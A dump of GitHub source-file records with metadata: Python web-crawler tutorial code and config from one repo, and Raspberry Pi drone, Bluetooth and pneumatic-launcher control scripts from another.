requests.get(\"http://www.zhihu.com\", cookies=jar, headers=headers)\n# print(r.text)\n\n# 指定ca证书\n# response = requests.get('https://www.12306.cn', cert=('/path/server.crt', '/path/key'))\n# print(response.status_code)\n\n# 指定代理\n# proxies = {\"http\": \"127.0.0.1:8888\"}\n\n# r = requests.get(\"https://www.taobao.com\", proxies=proxies)\n# print(r.status_code)\n\n# from urllib.robotparser import RobotFileParser\n# from urllib.request import urlopen\n\n# rp = RobotFileParser()\n# rp.set_url('http://www.jianshu.com/robots.txt')\n# rp.read()\n# print(rp.can_fetch('*', 'https://www.jianshu.com/p/b67554025d7d'))\n# print(rp.can_fetch('*', \"http://www.jianshu.com/search?q=python&page=1&type=collections\"))\n\n# rp.parse(urlopen('https://www.jianshu.com/robots.txt').read().decode('utf-8').split('\\n'))\n# print(rp.can_fetch('*', 'https://www.jianshu.com/p/b67554025d7d'))\n# print(rp.can_fetch('*', \"https://www.jianshu.com/search?q=python&page=1&type=collections\"))\n\n# from urllib.parse import urlparse, urlunparse, urlsplit, urlunsplit, \\\n# urljoin, urlencode, parse_qs, parse_qsl, quote, unquote\n\n# url = 'https://www.baidu.com/index.html;user?id=5#comment'\n# print(urlparse(url, allow_fragments=False), '\\n')\n# # 目标地址解析成scheme, netloc, path, params, query, fragments六个部分\n# print(urlsplit(url, allow_fragments=False), '\\n')\n# # 目标地址解析成scheme, netloc, path, query, fragments五个部分\n\n# data = ['http', 'wwww.baidu.com', 'index.html', 'user', 'a=6', 'comment']\n# print(urlunparse(data), '\\n')\n\n# data = ['http', 'wwww.baidu.com', 'index.html', 'a=6', 'comment']\n# print(urlunsplit(data), '\\n')\n\n# print(urljoin(base='http://www.baidu.com', url='FAQ.html'))\n# print(urljoin('http://www.baidu.com', 'https://www.zhihu.com/FAQ.html'))\n# print(urljoin('http://www.baidu.com', '?category=2#comment'))\n# print(urljoin('www.baidu.com', '?category=2#comment'))\n# print(urljoin('www.baidu.com#comment', '?category=2'), '\\n')\n\n# params = {\n# 'name': 'Vector',\n# 'age': 30\n# }\n# url = urlencode(params)\n# print(url, '\\n')\n# print(parse_qs(url), '\\n')\n# print(parse_qsl(url), '\\n')\n\n# quote_word = quote('中国')\n# print('https://www.baidu.com/s?wd={0}'.format(quote_word), '> quote_word\\n')\n# print(unquote(quote_word), '> unquote\\n')\n\n# from urllib import request as rq, parse as pr\n# from urllib.error import URLError\n# from urllib.request import ProxyHandler, build_opener\n\n# request = rq.Request('https://python.org')\n# response = rq.urlopen(request)\n# print(response.read().decode('utf-8'))\n\n# url = 'http://httpbin.org/post'\n# headers = {\n# 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',\n# 'Host': 'httpbin.org'\n# }\n\n# data = bytes(pr.urlencode({'name': 'Germey'}), encoding='utf-8')\n# request = rq.Request(url, data, headers=headers, method='POST')\n# request.add_header('Cookie', 'Hm_lvt_eaa57ca47dacb4ad4f5a257001a3457c=1602235479')\n# response = rq.urlopen(request)\n# print(response.read().decode('utf-8'))\n\n# proxy_handler = ProxyHandler({'http': '127.0.0.1:8888'})\n# opener = build_opener(proxy_handler)\n\n# try:\n# response = opener.open(rq.Request(\"http://www.baidu.com/\"))\n# print(response.read().decode('utf-8'))\n# except URLError as e:\n# print(e.reason)\n\n# import socket\n# import urllib.parse as up\n# import urllib.request as ur\n# import urllib.error as ue\n\n# data = bytes(up.urlencode({'word': 'hello'}), encoding='utf-8')\n# try:\n# response = ur.urlopen('http://httpbin.org/post', data=data, timeout=3)\n# print(response.read().decode('utf-8'))\n# except ue.URLError as e:\n# if (isinstance(e.reason, socket.timeout)):\n# print('Time is out')\n\n# import urllib.request as ur\n\n# response = ur.urlopen('https://www.python.org')\n# html = response.read().decode('utf-8')\n# # print(html)\n\n# with open('code/python.org.html', mode='w+') as f:\n# f.write(html)\n# print(f.closed)\n\n# print(help(type(response)))\n# print(response.status, '> response.status\\n')\n# print(response.getheaders(), '> response.getheaders()\\n')\n# print(response.getheader('Server'), \"> response.getheader('Server')\\n\")\n" }, { "alpha_fraction": 0.5305436849594116, "alphanum_fraction": 0.5888820886611938, "avg_line_length": 34.59782791137695, "blob_id": "6b5221cbbfa1c7803ef0520506e7931804d61a40", "content_id": "1d9c31b0e678ebe9ae1b2ae00199527d96e5eb26", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3278, "license_type": "permissive", "max_line_length": 415, "num_lines": 92, "path": "/code/C6.py", "repo_name": "DataScienceCoding/Python-Web-Crawler", "src_encoding": "UTF-8", "text": "# import requests\n# from requests import RequestException\nfrom urllib import request, parse\nfrom urllib.error import URLError\nimport json\nfrom lxml import etree\n# from requests import cookies\n\n\n# def savehtml(name, url, header, data=None, jar=None):\n# try:\n# response = requests.get(url, header, data=data, cookies=jar)\n# if response.status_code == 200:\n# with open(name, mode='w', encoding='utf-8') as f:\n# f.write(response.text)\n# else:\n# print(response.reason)\n# except RequestException as e:\n# print(e.reason)\n\ndef gethtmltofile(name, url, header={}, data=None):\n try:\n if data:\n data = bytes(parse.urlencode(data), encoding='utf8')\n req = request.Request(url=url, data=data, headers=header, method='GET')\n response = request.urlopen(req)\n if response.status == 200:\n with open(name, mode='w', encoding='utf-8') as f:\n f.write(str(response.read().decode('utf-8')))\n else:\n print(response.reason)\n except URLError as e:\n print(e.reason)\n\n\ndef parsehtml(pattern, name):\n html = etree.parse(name, etree.HTMLParser())\n return html.xpath(pattern)\n\n\ndef parsejson(fname):\n with open(fname, 'r', encoding=\"utf-8\") as file:\n str = file.read()\n data = json.loads(str)\n print(data['data'][0])\n\n\n\nif __name__ == \"__main__\":\n # header = {\n\n # }\n # header = {\n # 'cache-control': 'no-cache, no-store, must-revalidate, private, max-age=0',\n # 'content-encoding': 'gzip',\n # 'content-type': 'application/json',\n # 'date': 'Thu, 29 Oct 2020 07:07:02 GMT',\n # 'expires': 'Thu, 01 Jan 1970 08:00:00 CST',\n # 'pragma': 'no-cache',\n # 'referrer-policy': 'no-referrer-when-downgrade',\n # 'server': 'CLOUD ELB 1.0.0',\n # 'set-cookie': 'KLBRSID=031b5396d5ab406499e2ac6fe1bb1a43|1603955222|1603952885; Path=/',\n # 'status': '200',\n # 'vary': 'Accept-Encoding',\n # 'x-ab-trigger': 'se_timescore=0',\n # 'x-backend-response': '0.346',\n # 'x-cache-lookup': 'Cache Miss',\n # 'x-cdn-provider': 'tencent',\n # 'x-idc-id': '2',\n # 'x-lb-timing': '0.352',\n # 'x-nws-log-uuid': '3794396044848039424',\n # 'x-secng-response': '0.35000014305115',\n # 'x-udid': 'ABBX4FrWHBKPTtc9x-ZTtcYl1Uyzfj4KEY8=,'\n # }\n # jar = requests.cookies.RequestsCookieJar()\n # cookies =\n # for cookie in cookies.split(';'):\n # key, value = cookie.split('=', 1)\n # jar.set(key, value)\n # data = {\n # 't': 'general',\n # 'q': '爬虫',\n # 'correction': 1,\n # 'offset': 0,\n # 'limit': 20,\n # 'lc_idx': 0,\n # 'show_all_topics': 0\n # }\n fname = 'code/toutiao.html'\n # gethtmltofile('code/toutiao.html', 'https://www.toutiao.com/api/search/content/?aid=24&app_name=web_search&offset=0&format=json&keyword=%E9%A3%8E%E6%99%AF&autoload=true&count=20&en_qc=1&cur_tab=1&from=search_tab&pd=synthesis&timestamp=1603958482286&_signature=_02B4Z6wo00f01hsI1xwAAIBCDYP2W-L5esobDdOAANllCyNDnVhoeJ491c7rLv1ScGqt2beHsUxguFul4uIwYHRajHZSGVfQkwlMAdfsXDpXARveCCbT1mnynG4rOq5G56UQzHxyID4xeXyK02')\n\n parsejson(fname)" }, { "alpha_fraction": 0.5477386713027954, "alphanum_fraction": 0.6783919334411621, "avg_line_length": 13.285714149475098, "blob_id": "acee089ed80df46514bdc2ddc4391577e84a8ca6", "content_id": "cf717e04eba2be80e73d2597f7a24b4ec2b3d2ac", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 199, "license_type": "permissive", "max_line_length": 29, "num_lines": 14, "path": "/code/C9/conf.ini", "repo_name": "DataScienceCoding/Python-Web-Crawler", "src_encoding": "UTF-8", "text": "[proxy-pool]\nurl = http://118.24.52.95/get\n\n[mysql]\nhost = 127.0.0.1\nusername = root\npassword = root\ndatabase = weixin\ncharset = utf8\n\n[redis]\nhost = 127.0.0.1\nport = 6379\npassword = 88888888" } ]
19
martinoamigo/mass
https://github.com/martinoamigo/mass
486544ddaebddae199a1e4edf19ddb51f25fccc9
553efaef8a25db66b17f2f85bc0fdbf6fcc27b29
6134b4deb1578a191b9d8eb8c04de78c4e399fb9
refs/heads/master
2022-06-08T21:50:18.301488
2020-05-03T02:19:48
2020-05-03T02:19:48
237,090,755
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.647743821144104, "alphanum_fraction": 0.6586608290672302, "avg_line_length": 20.46875, "blob_id": "ccf835cd58e4368d1f357a48bf527e270a467a04", "content_id": "d67248c2fb0f9cc0ad0eaa92a339b1317b9c46ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1374, "license_type": "no_license", "max_line_length": 147, "num_lines": 64, "path": "/scout/utils/bluetooth.py", "repo_name": "martinoamigo/mass", "src_encoding": "UTF-8", "text": "import bluetooth\nimport sys\nimport logging\nimport time\n\nscout_bt_mac_addr = 'DC:A6:32:3B:BD:A8' # The MAC address of a Bluetooth adapter on the server. The server might have multiple Bluetooth adapters. \nport = 3 \nbacklog = 1\nsize = 1024\n\ndef log_setup():\n logging.basicConfig(\n filename=\"masterCatalog.log\",\n filemode=\"a\",\n format=(\"%(asctime)s:%(levelname)s:%(message)s\"),\n level=logging.INFO)\n global log\n log = logging.getLogger()\n\nlog_setup()\n\nclass Connection:\n\tdef __init__(self):\n\t\tself.socket = bluetooth.BluetoothSocket(bluetooth.RFCOMM)\n\t\tself.client = None\n\t\tself.socket.bind((scout_bt_mac_addr, port))\n\t\tself.socket.listen(backlog)\n\n\tdef connect(self):\n\t\ttry:\n\t\t\tmsg = \"Waiting for base to request connection...\"\n\t\t\tprint(msg)\n\t\t\tlog.info(msg)\n\n\t\t\tself.client, clientInfo = self.socket.accept()\n\n\t\t\tmsg = \"Connection accepted.\"\n\t\t\tprint(msg)\n\t\t\tlog.info(msg)\n\t\t\t \n\t\t\treturn True\n\t\texcept:\n\t\t\tmsg = \"Not able to connect to client({})\".format(sys.exc_info()[0])\n\t\t\tprint(msg)\n\t\t\tlog.info(msg)\n\t\t\ttime.sleep(5)\n\t\t\treturn False\n\n\tdef listen(self):\n\t\ttry:\t\n\t\t\twhile 1:\n\t\t\t\tdata = self.client.recv(size)\n\t\t\t\tif data:\n\t\t\t\t\treturn data\n\t\texcept:\t\n\t\t\ttime.sleep(5)\n\t\t\treturn False\n\n\tdef send(self, message):\n\t\ttry:\n\t\t\tprint(message)\n\t\t\tself.client.send(message)\n\t\texcept:\n\t\t\tprint(\"Could not send message to base. No action taken.\")\n" }, { "alpha_fraction": 0.6660899519920349, "alphanum_fraction": 0.7231833934783936, "avg_line_length": 15.45714282989502, "blob_id": "87d509b3a5525675142f3614411cb091ad98cae4", "content_id": "ebaabb4b5e41d5cde5b24fdf706cb63591e93539", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 578, "license_type": "no_license", "max_line_length": 30, "num_lines": 35, "path": "/base/.ipynb_checkpoints/dock_test-checkpoint.py", "repo_name": "martinoamigo/mass", "src_encoding": "UTF-8", "text": "import RPi.GPIO as GPIO\nimport time\nimport numpy as np\n\nGPIO.setmode(GPIO.BOARD)\nGPIO.setwarnings(False)\n\n#Pinouts for Relay Connectors\n\nsol_act1 = 31\nsol_act2 = 33\n\nlin_act1 = 35\nlin_act2 = 37\n\n# Set Pins\nGPIO.setup(sol_act1, GPIO.OUT)\nGPIO.setup(sol_act2, GPIO.OUT)\nGPIO.setup(lin_act1, GPIO.OUT)\nGPIO.setup(lin_act2, GPIO.OUT)\n\n# Clear Pins\nGPIO.output(sol_act1, 1)\nGPIO.output(sol_act2, 1)\nGPIO.output(lin_act1, 1)\nGPIO.output(lin_act2, 1)\n\nGPIO.output(sol_act1, 0)\nGPIO.output(sol_act2, 0)\nGPIO.output(lin_act1, 1)\nGPIO.output(lin_act2, 0)\ntime.sleep(4)\n\n\nGPIO.cleanup()\n\n\n" }, { "alpha_fraction": 0.7029703259468079, "alphanum_fraction": 0.7128713130950928, "avg_line_length": 49, "blob_id": "b44f5dd0fd16206644fb47b878dafb69636a1e69", "content_id": "a08e4cc2d805d179f1b7d1a5e4f78f002631db32", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 101, "license_type": "no_license", "max_line_length": 87, "num_lines": 2, "path": "/scout/start.sh", "repo_name": "martinoamigo/mass", "src_encoding": "UTF-8", "text": " #!/bin/bash\ntmux new-session -d -s scout_script 'sudo /usr/bin/python3 /home/pi/mass/scout/main.py'\n" }, { "alpha_fraction": 0.5861897468566895, "alphanum_fraction": 0.6423248648643494, "avg_line_length": 22.418603897094727, "blob_id": "967f6a80b565b3fd0f934b0a11d52aa5e24ca84f", "content_id": "b5233311a6889d476a2f7702afc5b1be12734d2f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2013, "license_type": "no_license", "max_line_length": 144, "num_lines": 86, "path": "/base/.ipynb_checkpoints/ptest_dunk-checkpoint.py", "repo_name": "martinoamigo/mass", "src_encoding": "UTF-8", "text": "import RPi.GPIO as GPIO\nimport time\nimport Adafruit_MCP3008\nimport Adafruit_GPIO.SPI as GPIOp\nimport numpy as np\nfrom multiprocessing import Process, Value, Array\n\nGPIO.setmode(GPIO.BOARD)\nGPIO.setwarnings(False)\n\n# Pinouts for Relay Connectors\ncomp = 16\nsafety_sol = 11\nvent_sol = 13\nlaunch_sol = 15\n\nLP = input(\"Enter Launch Pressure: \")\nLP = float(LP) + 15.4\nFP = LP * 10.23 # fake pressure\nif LP >= 75: \n\texit()\n\nSPI_PORT = 0\nSPI_DEVICE = 0\nmcp = Adafruit_MCP3008.MCP3008(spi=GPIOp.SpiDev(SPI_PORT, SPI_DEVICE))\n\n# Set Pins\nGPIO.setup(comp, GPIO.OUT)\nGPIO.setup(safety_sol, GPIO.OUT)\nGPIO.setup(vent_sol, GPIO.OUT)\nGPIO.setup(launch_sol, GPIO.OUT)\n\n# Clear Pins\nGPIO.output(comp, 1)\nGPIO.output(safety_sol,1)\nGPIO.output(vent_sol,1)\nGPIO.output(launch_sol,1)\n\ndef read_trans(value):\n start = time.time()\n j = 0\n while True:\n time.sleep(.02)\n for i in range(3):\n value[i] = mcp.read_adc(i)\n file.write('| {} | {} | {} | time: {}'.format(value[0]/10.23 - 15.4, value[1]/10.23 - 15.4, value[2]/10.23 - 15.4, time.time() - start))\n if j % 10 == 0:\n print('| {} | {} | {} | time: {}'.format(value[0]/10.23 - 15.4, value[1]/10.23 - 15.4, value[2]/10.23 - 15.4, time.time() - start))\n j += 1\n \n# initialize\nfile = open(\"launchpress_2.txt\", \"a\")\nfile.write(\"New Launch Values\\n\")\ncharge = True\nvalue = Array('f', range(3))\n\nread_trans_in_background = Process(target=read_trans, args=(value,))\nread_trans_in_background.start()\n# read_trans_in_background.join()\n\n# charge compressor\nwhile charge == True:\n time.sleep(.20)\n GPIO.output(comp, 0)\n if value[0] >= FP:\n charge = False\n time.sleep(.25)\n \n# Launch sequence\nGPIO.output(comp, 1)\ntime.sleep(4)\nGPIO.output(vent_sol, 0)\ntime.sleep(1)\nGPIO.output(launch_sol,0)\ntime.sleep(2)\nGPIO.output(safety_sol,0)\ntime.sleep(3)\nGPIO.output(safety_sol, 1)\ntime.sleep(2)\nGPIO.output(vent_sol, 1)\ntime.sleep(4)\nGPIO.output(launch_sol, 1)\nLP = 0\n\nfile.close()\nGPIO.cleanup()" }, { "alpha_fraction": 0.5983531475067139, "alphanum_fraction": 0.6038426160812378, "avg_line_length": 23.840909957885742, "blob_id": "4136c0b762582c7c546bab7b15effb5b4a05560e", "content_id": "a9d6cd03ff79daa8dd6794c51632d213fbfc69cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1093, "license_type": "no_license", "max_line_length": 110, "num_lines": 44, "path": "/scout/utils/cam.py", "repo_name": "martinoamigo/mass", "src_encoding": "UTF-8", "text": "from picamera import PiCamera\nfrom time import sleep\nimport datetime\nimport os\n\ncamera = PiCamera()\n\ndef Pic():\n camera.capture(path + '/' + time + '.jpg')\n print('Picture saved: ', path + '/' + time + '.jpg')\n\n\ndef Vid():\n length = int(input(\"Length of Video in seconds: \"))\n camera.start_recording(path + '/' + time + '.h264')\n print('Shleep......')\n sleep(length)\n print('AWAKE!!!!!!')\n camera.stop_recording()\n print('Video saved: ', path + '/' + time + '.h264')\n\n\nnow = datetime.datetime.now() # Current Date and Time\ndate = now.strftime('%Y_%m_%d')\ntime = now.strftime('%Hh_%Mm_%Ss')\nprint(date, time)\n\npath = 'Desktop/Media/' + date\ntry:\n os.mkdir(path)\nexcept OSError:\n print('Creation of directory ', path, ' failed')\n \n\n\nwhile True:\n action = input('\\nInput action letter: \\nP for Picture\\nV for Video\\nAnything else to leave Camera mode:')\n now = datetime.datetime.now() # Current Date and Time\n time = now.strftime('%Hh_%Mm_%Ss')\n if action.upper() == 'P':\n Pic()\n elif action.upper() == 'V':\n Vid()\n else: break\n" }, { "alpha_fraction": 0.65457683801651, "alphanum_fraction": 0.6856649518013, "avg_line_length": 16.57575798034668, "blob_id": "69737f745e8aea500c228d1f66818820ec76a470", "content_id": "9d12adcfabab097b7d33cec5ad92f59074d731c8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 579, "license_type": "no_license", "max_line_length": 41, "num_lines": 33, "path": "/base/component_tests/motortest.py", "repo_name": "martinoamigo/mass", "src_encoding": "UTF-8", "text": "import time\nimport RPi.GPIO as GPIO\n\nDIR = 23\nSTEP = 24\nCW = 1\nCCW = 0\nSPR = 50000\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\n\nGPIO.setup(DIR, GPIO.OUT)\nGPIO.setup(STEP, GPIO.OUT)\nGPIO.output(DIR, CW)\n\nstep_count = SPR\ndelay = .000001 #dont go lower than this \n\nfor x in range(step_count):\n GPIO.output(STEP, GPIO.HIGH)\n time.sleep(delay)\n GPIO.output(STEP, GPIO.LOW)\n time.sleep(delay)\n\ntime.sleep(.5)\nGPIO.output(DIR, CCW)\n\nfor x in range(step_count):\n GPIO.output(STEP, GPIO.HIGH)\n time.sleep(delay)\n GPIO.output(STEP, GPIO.LOW)\n time.sleep(delay)" }, { "alpha_fraction": 0.649789035320282, "alphanum_fraction": 0.649789035320282, "avg_line_length": 18.75, "blob_id": "0ebf7d86def0eea49bb8bc73e57903c31656602c", "content_id": "54473418174ce87aa06318e56578420328287351", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 237, "license_type": "no_license", "max_line_length": 53, "num_lines": 12, "path": "/scout/utils/logfn.py", "repo_name": "martinoamigo/mass", "src_encoding": "UTF-8", "text": "import logging\n\nlogging.basicConfig(\n filename=\"masterCatalog.log\",\n filemode=\"a\",\n format=(\"%(asctime)s:%(levelname)s:%(message)s\"),\n level=logging.INFO\n)\n\nclass Log:\n def __init__(self):\n self.log = logging.getLogger()\n" }, { "alpha_fraction": 0.6485148668289185, "alphanum_fraction": 0.6683168411254883, "avg_line_length": 15.833333015441895, "blob_id": "40450e414f85b64db70cba27932a34864ec5ebdf", "content_id": "a7f846e0d1eef785796f98aae1837eec4a41bbc3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 606, "license_type": "no_license", "max_line_length": 59, "num_lines": 36, "path": "/base/utils/bluetooth.py", "repo_name": "martinoamigo/mass", "src_encoding": "UTF-8", "text": "import bluetooth\nimport time\nimport sys\n\nsize = 1024\nscout_bt_mac_addr = 'DC:A6:32:3B:BD:A8'\nport = 3\n\nclass Connection:\n\tdef __init__(self):\n\t\tself.socket = bluetooth.BluetoothSocket(bluetooth.RFCOMM)\n\n\tdef connect(self):\n\t\ttry:\n\t\t\tself.socket.connect((scout_bt_mac_addr, port))\n\t\t\treturn True\n\t\texcept:\n\t\t\t# self.socket.close()\n\t\t\ttime.sleep(5)\n\t\t\treturn False\n\t\n\tdef listen(self):\n\t\ttry:\t\n\t\t\twhile 1:\n\t\t\t\tdata = self.socket.recv(size)\n\t\t\t\tif data:\n\t\t\t\t\treturn data\n\t\texcept:\n\t\t\treturn False\n\n\tdef send_message(self, message):\n\t\ttry:\n\t\t\tself.socket.send(message)\n\t\t\treturn True\n\t\texcept:\n\t\t\treturn False\n" }, { "alpha_fraction": 0.664850115776062, "alphanum_fraction": 0.7138964533805847, "avg_line_length": 19.97142791748047, "blob_id": "01d514406f9bfcebb4598805ca7138233dd061be", "content_id": "3df20ae988141ec797eada7f92cb123db3239fc9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 734, "license_type": "no_license", "max_line_length": 32, "num_lines": 35, "path": "/base/component_tests/clear.py", "repo_name": "martinoamigo/mass", "src_encoding": "UTF-8", "text": "import RPi.GPIO as GPIO\nimport time\n\nGPIO.setmode(GPIO.BOARD)\nGPIO.setwarnings(False)\n# Pinouts for Relay Connectors\ncomp = 16\nsafety_sol = 13\nvent_sol = 11\nlaunch_sol = 15\nsol_act1 = 31\nsol_act2 = 33\nlin_act1 = 35\nlin_act2 = 37\n\n# Set Pins\nGPIO.setup(comp, GPIO.OUT)\nGPIO.setup(safety_sol, GPIO.OUT)\nGPIO.setup(vent_sol, GPIO.OUT)\nGPIO.setup(launch_sol, GPIO.OUT)\nGPIO.setup(sol_act1, GPIO.OUT)\nGPIO.setup(sol_act2, GPIO.OUT)\nGPIO.setup(lin_act1, GPIO.OUT)\nGPIO.setup(lin_act2, GPIO.OUT)\n\n# Clear Pins\nGPIO.output(comp, 1)\nGPIO.output(safety_sol, 1)\nGPIO.output(vent_sol, 1)\nGPIO.output(launch_sol, 1)\nGPIO.output(sol_act1, 1)\nGPIO.output(sol_act2, 1)\nGPIO.output(lin_act1, 1)\nGPIO.output(lin_act2, 1)\nGPIO.cleanup()\n" }, { "alpha_fraction": 0.6416222453117371, "alphanum_fraction": 0.6526094675064087, "avg_line_length": 32.635868072509766, "blob_id": "ab6d13c6cf82905e85d0970b5795ea7e5edd9a4d", "content_id": "e3d8b6b5a735ecc0d1e375647615793f690da991", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6189, "license_type": "no_license", "max_line_length": 267, "num_lines": 184, "path": "/scout/main.py", "repo_name": "martinoamigo/mass", "src_encoding": "UTF-8", "text": "from __future__ import print_function\nimport os,inspect\nimport sys\nimport threading\nimport time\nimport math\nfrom ctypes import Structure, c_uint\nimport traceback\n\nimport utils.bluetooth as bluetooth \nfrom utils.flight_utils import *\nimport utils.pixy as pixy\n\nconnection_string = '/dev/serial0'\npixy.init()\npixy.change_prog(\"color_connected_components\")\n\nradius = 30\nx_center = 158 #center of cam in x dir\ny_center = 104 #center of cam in y dir\n\nbase_center_target = (158, 104)\n\nupper_x = x_center + radius\nlower_x = x_center - radius\nupper_y = y_center - radius\nlower_y = y_center + radius\n\nclass Blocks (Structure):\n _fields_ = [ (\"m_signature\", c_uint),\n (\"m_x\", c_uint),\n (\"m_y\", c_uint),\n (\"m_width\", c_uint),\n (\"m_height\", c_uint),\n (\"m_angle\", c_uint),\n (\"m_index\", c_uint),\n (\"m_age\", c_uint) ]\n\nblocks = pixy.BlockArray(100)\n\ndef get_base_position():\n\tobjects_seen = pixy.ccc_get_blocks(100, blocks)\n\tif objects_seen > 0:\n\t\tlowest_distance_to_center = 1000\n\t\ttarget_block = None\n\t\t# choose the most centered block in the frame\n\t\tfor i in range (0, objects_seen):\n\t\t\tif blocks[i].m_signature == 1:\n\t\t\t\t# print('[BLOCK: SIG=%d X=%3d Y=%3d WIDTH=%3d HEIGHT=%3d]' % (blocks[i].m_signature, blocks[i].m_x, blocks[i].m_y, blocks[i].m_width, blocks[i].m_height))\n\t\t\t\tdistance_to_center = math.sqrt((blocks[i].m_x - x_center)**2 + (blocks[i].m_y - y_center)**2) \n\t\t\t\tif distance_to_center < lowest_distance_to_center:\n\t\t\t\t\tlowest_distance_to_center = distance_to_center\n\t\t\t\t\ttarget_block = blocks[i]\n\t\tif target_block != None:\n\t\t\tposition_vector = (target_block.m_x, target_block.m_y)\n\t\t\t# position_vector = (target_block.m_x - base_center_target[0], base_center_target[1] - target_block.m_y)\t\t\n\t\t\treturn position_vector\n\ndef bluetooth_listener(base, vehicle):\n\t\"\"\" Runs in the background to receive any messages sent from the base. Will only process one message at a time.\"\"\"\n\tbase.connect()\n\tbase.send(\"Connected to vehicle on {}\\nType: {}\\nArmed: {}\\nSystem Status: {}\\nGPS: {}\\nAlt: {}\\n\".format(connection_string, vehicle._vehicle_type,vehicle.armed, vehicle.system_status.state, vehicle.gps_0, vehicle.location.global_relative_frame.alt))\n\twhile 1:\n\t\tmessage = base.listen()\n\t\tif not message or message == b'error':\n\t\t\t# reconnect\n\t\t\t# vehicle.mode = 'LAND'\n\t\t\tbase.client.close()\n\t\t\tbase.socket.close()\n\t\t\tbase = bluetooth.Connection()\n\t\t\tbase.connect()\n\t\ttry:\n\t\t\tmessage_handler(base, vehicle, message.decode())\n\t\texcept:\n\t\t\tbase.send(\"Could not decode message '{}'\".format(message))\n\ndef message_handler(base, vehicle, message):\n\tif message == 'mission':\n\t\tbase.send(\"Mission signal received.\")\n\t\tflight_controller = threading.Thread(name='flight_controller', target=start_mission, args=(vehicle,))\n\t\tflight_controller.daemon = True\n\t\tflight_controller.start()\n\t\t\n\telif 'takeoff' in message:\n\t\ttry:\n\t\t\targs = message.split()\n\t\t\tif len(args) != 2:\n\t\t\t\traise Exception()\n\t\t\targs[1] = int(args[1])\n\t\t\tbase.send(\"Takeoff signal received.\")\n\t\t\tflight_controller = threading.Thread(name='flight_controller', target=takeoff, args=(vehicle,args[1]))\n\t\t\tflight_controller.daemon = True\n\t\t\tflight_controller.start()\n\t\texcept:\n\t\t\tbase.send(\"Invalid arguements for 'takeoff'. Required format is 'takeoff (height in meters)'\")\n\t\n\telif message == 'land':\n\t\tbase.send(\"Land signal received.\")\n\t\tvehicle.mode = 'LAND'\n\n\telif message == 'rtl':\n\t\tbase.send(\"RTL signal received.\")\n\t\tvehicle.mode = 'RTL'\n\n\telif message == 'loiter':\n\t\tbase.send(\"Loiter signal received.\")\n\t\tvehicle.mode = 'LOITER'\n\t\n\telif message == 'stabilize':\n\t\tbase.send(\"Stabilize signal received.\")\n\t\tvehicle.mode = 'STABILIZE'\n\n\telif message == 'guided':\n base.send(\"Guided signal received.\")\n vehicle.mode = 'GUIDED'\n\n\telif message == 'disarm':\n\t\ttry:\n\t\t\tbase.send(\"Disarming...\")\n\t\t\tvehicle.armed = False\n\t\t\twhile vehicle.armed: \n\t\t\t\ttime.sleep(1)\n\t\t\tbase.send(\"Vehicle disarmed.\")\n\t\texcept:\n\t\t\tbase.send(\"Could not disarm vehicle.\")\n\t\n\telif 'move' in message:\n\t\ttry:\n\t\t\targs = message.split()\n\t\t\tif len(args) != 5:\n\t\t\t\traise Exception()\n\t\texcept:\n\t\t\tbase.send(\"Invalid arguements for 'move'. Required format is 'move x, y, z, t'\")\n\t\ttry:\n\t\t\tsend_ned_velocity(vehicle, float(args[1]), float(args[2]), float(args[3]), float(args[4]))\n\t\texcept:\n\t\t\tbase.send(\"Move command failed with '{}'\".format(sys.exc_info()[0]))\n\t\t\tbase.send(traceback.format_exc())\n\t\n\telif message == 'pland':\n\t\tbase.send(\"pland signal received.\")\n\t\tflight_controller = threading.Thread(name='flight_controller', target=land_on_base, args=(vehicle,))\n\t\tflight_controller.daemon = True\n\t\tflight_controller.start()\n\t\n\telse:\n\t\tbase.send(\"Command not recognized. Valid commands are: \\n- mission \\n- takeoff (height in meters)\\n- land\\n- rtl\\n- loiter\\n- stabilize\\n- guided\\n- disarm\\n- move x y z t\")\n\t\treturn\n\ndef start_mission(vehicle): \n\t# Begin mission\n\tresponse = arm_and_takeoff(base,vehicle,4)\n\tif response:\n\t\tland_on_base(vehicle)\n\t\ndef takeoff(vehicle, altitude):\n\tif altitude < 25:\n\t\tresponse = arm_and_takeoff(base,vehicle,altitude)\n\t\tif response:\n\t\t\tbase.send(\"Takeoff complete. Waiting for next command...\")\n\telse:\n\t\tbase.send(\"Takeoff height is above 25m, takeoff refused.\")\n\ndef land_on_base(vehicle):\n\t# landed = False\n\t# vehicle.mode = 'LAND'\n\tfor _ in range(5000):\n\t\tposition_vec = get_base_position()\n\t\tif position_vec == None:\n\t\t\t# TODO: move up, down, or rotate\n\t\t\tbase.send(\"Base not seen...\")\n\t\t\tpass\n\t\telse:\n\t\t\tbase.send(\"Sending MAVLINK message 'land({}, {})'\".format(position_vec[1], position_vec[0]))\n\t\t\tsend_land_message(vehicle, position_vec[0], position_vec[1])\n\tbase.send(\"Landing loop ended...\")\n\n# This can take a while\nprint('Connecting to vehicle on: %s' % connection_string)\nvehicle = connect(connection_string, wait_ready=True, baud=921600)\n\nbase = bluetooth.Connection()\nbluetooth_listener = threading.Thread(name='bluetooth_listener', target=bluetooth_listener, args=(base,vehicle))\nbluetooth_listener.start()\n" }, { "alpha_fraction": 0.6644009947776794, "alphanum_fraction": 0.6975361108779907, "avg_line_length": 17.375, "blob_id": "f79869ddd419f35b8ac6789e68e637e39b65f10a", "content_id": "52c08b903888961aa9cd38fefed85b91d0f4e2b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": 